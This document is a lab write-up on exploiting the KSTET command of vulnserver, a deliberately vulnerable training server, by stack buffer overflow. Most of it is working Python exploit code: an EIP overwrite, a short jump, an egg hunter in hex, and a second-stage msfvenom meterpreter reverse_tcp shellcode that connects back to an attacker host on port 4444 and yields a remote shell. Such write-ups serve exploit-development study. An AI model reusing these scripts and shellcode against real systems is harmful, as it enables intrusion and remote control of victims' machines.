Exploiting vulnserver: kstet
Table of Contents
This vulerability is very similar to the one described in the TRUN post. However there are some key differences - mainly limitations and restrictions on buffer space.
The Code #
if (strncmp(RecvBuf, "KSTET ", 6) == 0) {
char *KstetBuf = malloc(100);
strncpy(KstetBuf, RecvBuf, 100);
memset(RecvBuf, 0, DEFAULT_BUFLEN);
Function2(KstetBuf);
SendResult = send( Client, "KSTET SUCCESSFUL\n", 17, 0 );
}
...
void Function2(char *Input) {
char Buffer2S[60];
strcpy(Buffer2S, Input);
}
The limitations and restrictions are:
-
The
KSTET
command will callFunction2
which only allocates 60 bytes of memory instead of 2000 as with theTRUN
command which callsFunction3
.60 bytes is too small for our reverse shell payload. We will need to insert an egg hunter here that will search for our final shellcode elsewhere in memory.
-
strncpy(KstetBuf, RecvBuf, 100);
Only the first 100 bytes of the user supplied input to the
KSTET
command is passed toFunction2
.
With these limitations and restrictions to the buffer space, we cannot simply exploit KSTET
with a single command. We will need to send our final shellcode payload in a different command and utilize an egg hunter to locate it. An egg hunter is just a small bit of assembly that can search the entire memory range for a magic string we define (just before our final shellcode) and will redirect execution flow there.
Exploitation #
#!/usr/bin/env python
import socket
import sys
buffer = 'A' * 100
command = 'KSTET '
data = command + buffer
print '[*] Sending data: ' + command + buffer.encode('hex')
s = socket.create_connection(('192.168.185.146',9999))
s.sendall(data)
s.close()
Sending the initial payload:
We see the same vanilla stack overflow and see the small space we have to work with.
I will skip over the steps to locate eip
and a JMP ESP
instruction to take over flow of execution since it was covered in the
TRUN post.
#!/usr/bin/env python
import socket
import sys
pre_buf = 'A' * 70
eip = '\xBB\x11\x50\x62'
jmp = '\x90\xEB\xB5'
post_buf = 'C' * (26 - len(jmp))
buffer = pre_buf + eip + jmp + post_buf
command = 'KSTET '
data = command + buffer
print '[*] Sending data: ' + command + buffer.encode('hex')
s = socket.create_connection(('192.168.185.146',9999))
s.sendall(data)
s.close()
Looking at the crash after we have control over eip
, we can see the buffer we have to work with is extremely small. We cannot place the egg hunter code in this small buffer of C’s.
As in the
TRUN post, we can insert a jump short instruction (EB
) to jump back into our buffer of A’s.
Use Mona to generate our egg hunter code with !mona egghunter -wow64
.
We can also update the exploit to contain our egg hunter payload which will search memory for our unique string (egg). The egg is defined in the egg hunter assembly (\x77\x30\x30\x74
= w00t
) and you can change it if you want/need to.
#!/usr/bin/env python
import socket
import sys
nopsled = '\x90' * 4
egghunter = '\x31\xdb\x53\x53\x53\x53\xb3\xc0\x66\x81\xca\xff\x0f\x42\x52\x6a'
egghunter += '\x26\x58\x33\xc9\x8b\xd4\x64\xff\x13\x5e\x5a\x3c\x05\x74\xe9\xb8'
egghunter += '\x77\x30\x30\x74\x8b\xfa\xaf\x75\xe4\xaf\x75\xe1\xff\xe7'
pre_buf = 'A' * (70 - len(egghunter) - len(nopsled))
eip = '\xBB\x11\x50\x62'
jmp = '\x90\xEB\xB5'
post_buf = 'C' * (26 - len(jmp))
buffer = nopsled + egghunter + pre_buf + eip + jmp + post_buf
command = 'KSTET '
data = command + buffer
print '[*] Sending data: ' + command + buffer.encode('hex')
s = socket.create_connection(('192.168.185.146',9999))
s.sendall(data)
s.close()
I ran into issues when not giving the egg hunter assembly some space to unpack itself - so suggest adding a small nopsled before the payload.
If you scroll back to the start of the nopsled for the egg hunter code, you can see some of the nops get eaten / disappear. I do not really understand why this happens - you can see only one nop made it of the 4 I sent. If you know the answer please ping me on twitter @dunderhay.
To test the egg hunter, we need to insert the egg into final shellcode code cave. We can use another command that will hold the final shellcode payload in meomry until the egg hunter code comes searching for it. The egg is repeated twice (w00tw00t
) and inserted just before our final shellcode.
The GDOG command is a perfect candicate as it has a large enough buffer space for our egg and final shellcode payload and has no additional restrictions on the buffer (requiring an ascii only payload etc).
if (strncmp(RecvBuf, "GDOG ", 5) == 0) {
strncpy(GdogBuf, RecvBuf, 1024);
SendResult = send( Client, "GDOG RUNNING\n", 13, 0 );
}
Insert the egg and final shellcode placeholder payload, it is a good idea to use breakpoint instructions (CC
) as the exploit will pause in the debugger once the egg is located.
#!/usr/bin/env python
import socket
import sys
egg = 'w00tw00t'
shellcode = '\xCC' * 1000
payload = egg + shellcode
command = 'GDOG '
data = command + payload
print '[*] Sending data: ' + command + egg + shellcode.encode('hex')
s = socket.create_connection(('192.168.185.146',9999))
s.sendall(data)
s.close()
nopsled = '\x90' * 4
egghunter = '\x31\xdb\x53\x53\x53\x53\xb3\xc0\x66\x81\xca\xff\x0f\x42\x52\x6a'
egghunter += '\x26\x58\x33\xc9\x8b\xd4\x64\xff\x13\x5e\x5a\x3c\x05\x74\xe9\xb8'
egghunter += '\x77\x30\x30\x74\x8b\xfa\xaf\x75\xe4\xaf\x75\xe1\xff\xe7'
pre_buf = 'A' * (70 - len(egghunter) - len(nopsled))
eip = '\xBB\x11\x50\x62'
jmp = '\x90\xEB\xB5'
post_buf = 'C' * (26 - len(jmp))
buffer = nopsled + egghunter + pre_buf + eip + jmp + post_buf
command = 'KSTET '
data = command + buffer
print '[*] Sending data: ' + command + buffer.encode('hex')
s = socket.create_connection(('192.168.185.146',9999))
s.sendall(data)
s.close()
It is really amazing to watch the egg hunter work, you can set a breakpoint before the JMP EDI
instruction which is the last instruction to execute before jumping to the egg location if found. You can also see that the egg and breakpoints in the debugger shown below.
Always test the final shellcode location for bad characters. It is a good habbit and should even be done for the location you use for the egg hunter assembly.
Besides the null terminator (00
), I found no additional bad characters and updated the exploit with the final payload and as always a little nopsled for it.
#!/usr/bin/env python
import socket
import sys
# msfvenom --platform windows -a x86 -p windows/meterpreter/reverse_tcp LHOST=192.168.185.157 LPORT=4444 -b '\x00' -f python
egg = 'w00tw00t'
shellcode = '\x90' * 32
shellcode += '\xba\x43\xde\x96\x7d\xda\xc0\xd9\x74\x24\xf4\x5b\x31'
shellcode += '\xc9\xb1\x56\x31\x53\x13\x83\xeb\xfc\x03\x53\x4c\x3c'
shellcode += '\x63\x81\xba\x42\x8c\x7a\x3a\x23\x04\x9f\x0b\x63\x72'
shellcode += '\xeb\x3b\x53\xf0\xb9\xb7\x18\x54\x2a\x4c\x6c\x71\x5d'
shellcode += '\xe5\xdb\xa7\x50\xf6\x70\x9b\xf3\x74\x8b\xc8\xd3\x45'
shellcode += '\x44\x1d\x15\x82\xb9\xec\x47\x5b\xb5\x43\x78\xe8\x83'
shellcode += '\x5f\xf3\xa2\x02\xd8\xe0\x72\x24\xc9\xb6\x09\x7f\xc9'
shellcode += '\x39\xde\x0b\x40\x22\x03\x31\x1a\xd9\xf7\xcd\x9d\x0b'
shellcode += '\xc6\x2e\x31\x72\xe7\xdc\x4b\xb2\xcf\x3e\x3e\xca\x2c'
shellcode += '\xc2\x39\x09\x4f\x18\xcf\x8a\xf7\xeb\x77\x77\x06\x3f'
shellcode += '\xe1\xfc\x04\xf4\x65\x5a\x08\x0b\xa9\xd0\x34\x80\x4c'
shellcode += '\x37\xbd\xd2\x6a\x93\xe6\x81\x13\x82\x42\x67\x2b\xd4'
shellcode += '\x2d\xd8\x89\x9e\xc3\x0d\xa0\xfc\x8b\xe2\x89\xfe\x4b'
shellcode += '\x6d\x99\x8d\x79\x32\x31\x1a\x31\xbb\x9f\xdd\x40\xab'
shellcode += '\x1f\x31\xea\xbc\xe1\xb2\x0a\x94\x25\xe6\x5a\x8e\x8c'
shellcode += '\x87\x31\x4e\x30\x52\xaf\x44\xa6\x9d\x87\xe0\xab\x76'
shellcode += '\xd5\x12\xc5\xda\x50\xf4\xb5\xb2\x32\xa9\x75\x63\xf2'
shellcode += '\x19\x1e\x69\xfd\x46\x3e\x92\xd4\xee\xd5\x7d\x80\x47'
shellcode += '\x42\xe7\x89\x1c\xf3\xe8\x04\x59\x33\x62\xac\x9d\xfa'
shellcode += '\x83\xc5\x8d\xeb\xf3\x25\x4e\xec\x91\x25\x24\xe8\x33'
shellcode += '\x72\xd0\xf2\x62\xb4\x7f\x0c\x41\xc7\x78\xf2\x14\xf1'
shellcode += '\xf3\xc5\x82\xbd\x6b\x2a\x43\x3d\x6c\x7c\x09\x3d\x04'
shellcode += '\xd8\x69\x6e\x31\x27\xa4\x03\xea\xb2\x47\x75\x5e\x14'
shellcode += '\x20\x7b\xb9\x52\xef\x84\xec\xe0\xe8\x7a\x72\xcf\x50'
shellcode += '\x12\x8c\x4f\x61\xe2\xe6\x4f\x31\x8a\xfd\x60\xbe\x7a'
shellcode += '\xfd\xaa\x97\x12\x74\x3b\x55\x83\x89\x16\x3b\x1d\x89'
shellcode += '\x95\xe0\xae\xf0\xd6\x17\x4f\x05\xff\x73\x50\x05\xff'
shellcode += '\x85\x6d\xd3\xc6\xf3\xb0\xe7\x7c\x0b\x87\x4a\xd4\x86'
shellcode += '\xe7\xd9\x26\x83'
payload = egg + shellcode
command = 'GDOG '
data = command + payload
print '[*] Sending data: ' + command + egg + shellcode.encode('hex')
s = socket.create_connection(('192.168.185.146',9999))
s.sendall(data)
s.close()
nopsled = '\x90' * 4
egghunter = '\x31\xdb\x53\x53\x53\x53\xb3\xc0\x66\x81\xca\xff\x0f\x42\x52\x6a'
egghunter += '\x26\x58\x33\xc9\x8b\xd4\x64\xff\x13\x5e\x5a\x3c\x05\x74\xe9\xb8'
egghunter += '\x77\x30\x30\x74\x8b\xfa\xaf\x75\xe4\xaf\x75\xe1\xff\xe7'
pre_buf = 'A' * (70 - len(egghunter) - len(nopsled))
eip = '\xBB\x11\x50\x62'
jmp = '\x90\xEB\xB5'
post_buf = 'C' * (26 - len(jmp))
buffer = nopsled + egghunter + pre_buf + eip + jmp + post_buf
command = 'KSTET '
data = command + buffer
print '[*] Sending data: ' + command + buffer.encode('hex')
s = socket.create_connection(('192.168.185.146',9999))
s.sendall(data)
s.close()
Sending the final exploit.
And finally we have a shell!